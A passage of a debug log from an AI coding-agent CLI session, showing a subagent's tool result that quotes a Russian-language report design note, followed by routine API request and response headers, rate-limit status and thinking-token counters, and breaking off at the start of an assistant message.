\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\\n295:| \u0420\u043e\u0441\u0442 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u041e\u0442\u0447\u0451\u0442 \u043d\u0435 \u0443\u0441\u043f\u0435\u0432\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432 \u0441\u0440\u043e\u043a | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e L1; L4 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u043c |\\n298:## \u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b (\u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b)\\n312:## \u0421\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b\\n316:- [`runs/2026/RUN-0060/outputs/L4-combined-gap-report.md`](../../runs/2026/RUN-0060/outputs/L4-combined-gap-report.md) \u2014 \u044d\u0442\u0430\u043b\u043e\u043d \u0444\u043e\u0440\u043c\u044b L4\\n\\n1dcca69 2026-08-28\",\n[2026-09-29T07:47:58.388Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:58.388Z] [INFO]       }\n[2026-09-29T07:47:58.388Z] [INFO]     ]\n[2026-09-29T07:47:58.388Z] [INFO]   },\n[2026-09-29T07:47:58.388Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"uuid\": \"e0f4d09f-1302-447a-8230-2ff6a7e1f690\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:58.377Z\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:47:58.388Z] [INFO] }\n[2026-09-29T07:47:58.434Z] [STDOUT] [log_3e044e] sending request {\n[2026-09-29T07:47:58.441Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:58.447Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:58.453Z] [STDOUT]   options: {\n[2026-09-29T07:47:58.457Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:58.468Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:58.480Z] [STDOUT]     body: {\n[2026-09-29T07:47:58.485Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:58.488Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:58.492Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:58.497Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:58.508Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:58.511Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:58.518Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:58.521Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:58.524Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:58.527Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:58.534Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:58.540Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:58.544Z] [STDOUT]     },\n[2026-09-29T07:47:58.548Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:58.565Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:58.569Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:47:58.575Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:47:58.593Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:58.602Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:58.619Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:58.623Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:58.634Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:58.641Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:58.649Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:58.661Z] [STDOUT]     },\n[2026-09-29T07:47:58.670Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:58.695Z] [STDOUT]   },\n[2026-09-29T07:47:58.708Z] [STDOUT]   headers: {\n[2026-09-29T07:47:58.711Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:58.719Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:58.756Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:58.775Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:58.779Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:58.786Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:58.792Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:58.803Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:58.816Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:58.818Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:47:58.838Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:47:58.848Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1520\",\n[2026-09-29T07:47:58.862Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:58.870Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:47:58.886Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:58.900Z] [STDOUT]     \"x-client-request-id\": \"87a81c70-4957-4949-9b5d-5f9d201f9571\",\n[2026-09-29T07:47:58.907Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:58.913Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:58.970Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:58.974Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:58.986Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:58.995Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:59.001Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:59.005Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:59.008Z] [STDOUT]   },\n[2026-09-29T07:47:59.010Z] [STDOUT] }\n[2026-09-29T07:47:59.013Z] [STDOUT] [log_7307a5, request-id: \"req_011CfXMx3NUvwiWcYL9wTqhP\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1114ms\n[2026-09-29T07:47:59.019Z] [STDOUT] [log_7307a5] response start {\n[2026-09-29T07:47:59.027Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:59.035Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:59.041Z] [STDOUT]   headers: {\n[2026-09-29T07:47:59.046Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:59.057Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:59.061Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:59.065Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:59.067Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:59.069Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.074Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:59.078Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:59.082Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:59.085Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:59.094Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:59.099Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:59.102Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:59.106Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.111Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:59.117Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:59.127Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:59.131Z] [STDOUT]     \"cf-ray\": \"a42961fd598fdbb5-FRA\",\n[2026-09-29T07:47:59.135Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:59.138Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:59.140Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:59.145Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:59.149Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:58 GMT\",\n[2026-09-29T07:47:59.155Z] [STDOUT]     \"request-id\": \"req_011CfXMx3NUvwiWcYL9wTqhP\",\n[2026-09-29T07:47:59.160Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:59.166Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:59.173Z] [STDOUT]     traceresponse: \"00-7950aa0c4243f2cfc1a9c334bc0ab34a-0071f23248a1b7bf-01\",\n[2026-09-29T07:47:59.184Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:59.194Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:59.204Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:59.221Z] [STDOUT]   },\n[2026-09-29T07:47:59.229Z] [STDOUT]   durationMs: 1114,\n[2026-09-29T07:47:59.238Z] [STDOUT] }\n[2026-09-29T07:47:59.245Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:59.248Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:58 GMT\",\n[2026-09-29T07:47:59.253Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:59.263Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:59.267Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:59.273Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:59.277Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:59.280Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:59.283Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:59.286Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:59.288Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:59.290Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:59.294Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:59.299Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:59.304Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:59.307Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:59.317Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:59.322Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.327Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:59.330Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:59.339Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:59.351Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:59.356Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.358Z] [STDOUT]   \"request-id\": \"req_011CfXMx3NUvwiWcYL9wTqhP\",\n[2026-09-29T07:47:59.360Z] [STDOUT]   \"traceresponse\": \"00-7950aa0c4243f2cfc1a9c334bc0ab34a-0071f23248a1b7bf-01\",\n[2026-09-29T07:47:59.363Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:59.367Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:59.374Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:59.377Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:59.380Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:59.385Z] [STDOUT]   \"cf-ray\": \"a42961fd598fdbb5-FRA\",\n[2026-09-29T07:47:59.390Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:59.402Z] [STDOUT] [log_7307a5] response parsed {\n[2026-09-29T07:47:59.424Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:59.448Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:59.458Z] [STDOUT]   body: X {\n[2026-09-29T07:47:59.473Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:59.480Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:59.483Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:59.503Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:59.523Z] [STDOUT]     },\n[2026-09-29T07:47:59.529Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:59.531Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:59.537Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:59.541Z] [STDOUT]   },\n[2026-09-29T07:47:59.546Z] [STDOUT]   durationMs: 1115,\n[2026-09-29T07:47:59.552Z] [STDOUT] }\n[2026-09-29T07:47:59.557Z] [INFO] {\n[2026-09-29T07:47:59.557Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:59.557Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:59.557Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:59.557Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:59.557Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:59.557Z] [INFO]   \"uuid\": \"5a123b9b-5132-43b6-bdd9-908036759ed8\"\n[2026-09-29T07:47:59.557Z] [INFO] }\n[2026-09-29T07:47:59.562Z] [STDOUT] [log_3e044e, request-id: \"req_011CfXMx5pooVLcj49khtHEu\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 935ms\n[2026-09-29T07:47:59.566Z] [STDOUT] [log_3e044e] response start {\n[2026-09-29T07:47:59.568Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:59.574Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:59.579Z] [STDOUT]   headers: {\n[2026-09-29T07:47:59.582Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:59.584Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:59.587Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:59.591Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:59.593Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:59.597Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.600Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:59.606Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:59.609Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:59.613Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:59.618Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:59.633Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:59.641Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:59.646Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.650Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:59.656Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:59.662Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:59.670Z] [STDOUT]     \"cf-ray\": \"a4296202483029ad-FRA\",\n[2026-09-29T07:47:59.672Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:59.676Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:59.679Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:59.682Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:59.685Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:59 GMT\",\n[2026-09-29T07:47:59.687Z] [STDOUT]     \"request-id\": \"req_011CfXMx5pooVLcj49khtHEu\",\n[2026-09-29T07:47:59.689Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:59.691Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:59.696Z] [STDOUT]     traceresponse: \"00-7dc4103636991574ccb257f9a177adb6-4176a3a60dd56ad3-01\",\n[2026-09-29T07:47:59.698Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:59.703Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:59.707Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:59.711Z] [STDOUT]   },\n[2026-09-29T07:47:59.723Z] [STDOUT]   durationMs: 935,\n[2026-09-29T07:47:59.731Z] [STDOUT] }\n[2026-09-29T07:47:59.737Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:59.744Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:59 GMT\",\n[2026-09-29T07:47:59.753Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:59.761Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:59.765Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:59.771Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:59.776Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:59.782Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:59.785Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:59.789Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:59.793Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:59.796Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:59.801Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:59.804Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:59.807Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:59.810Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:59.814Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:59.816Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.820Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:59.830Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:59.837Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:59.841Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:59.844Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.850Z] [STDOUT]   \"request-id\": \"req_011CfXMx5pooVLcj49khtHEu\",\n[2026-09-29T07:47:59.852Z] [STDOUT]   \"traceresponse\": \"00-7dc4103636991574ccb257f9a177adb6-4176a3a60dd56ad3-01\",\n[2026-09-29T07:47:59.856Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:59.858Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:59.863Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:59.866Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:59.869Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:59.875Z] [STDOUT]   \"cf-ray\": \"a4296202483029ad-FRA\",\n[2026-09-29T07:47:59.878Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:59.882Z] [STDOUT] [log_3e044e] response parsed {\n[2026-09-29T07:47:59.884Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:59.886Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:59.888Z] [STDOUT]   body: X {\n[2026-09-29T07:47:59.891Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:59.894Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:59.896Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:59.899Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:59.903Z] [STDOUT]     },\n[2026-09-29T07:47:59.908Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:59.916Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:59.919Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:59.922Z] [STDOUT]   },\n[2026-09-29T07:47:59.925Z] [STDOUT]   durationMs: 936,\n[2026-09-29T07:47:59.933Z] [STDOUT] }\n[2026-09-29T07:48:00.669Z] [INFO] {\n[2026-09-29T07:48:00.669Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:48:00.669Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:48:00.669Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:48:00.669Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:48:00.669Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:00.669Z] [INFO]   \"uuid\": \"8a9abb7a-c111-4ec1-b393-c07efbe23b78\"\n[2026-09-29T07:48:00.669Z] [INFO] }\n[2026-09-29T07:48:01.289Z] [INFO] {\n[2026-09-29T07:48:01.289Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:48:01.289Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:48:01.289Z] [INFO]   \"estimated_tokens\": 282,\n[2026-09-29T07:48:01.289Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:48:01.289Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:01.289Z] [INFO]   \"uuid\": \"a5262855-adc2-48ee-a70e-155f5e0394ec\"\n[2026-09-29T07:48:01.289Z] [INFO] }\n[2026-09-29T07:48:01.299Z] [INFO] {\n[2026-09-29T07:48:01.299Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:48:01.299Z] [INFO]   \"message\": {\n[2026-09-29T07:48:01.299Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:48:01.299Z] [INFO]     \"id\": \"msg_011CfXMx3vxa165cYJG64vDV\",\n[2026-09-29T07:48:01.299Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:48:01.299Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:48:01.299Z] [INFO]     \"content\": [\n[2026-09-29T07:48:01.299Z] [INFO]       {\n[2026-09-29T07:48:01.299Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:48:01.299Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:48:01.299Z] [INFO]         \"signature\": 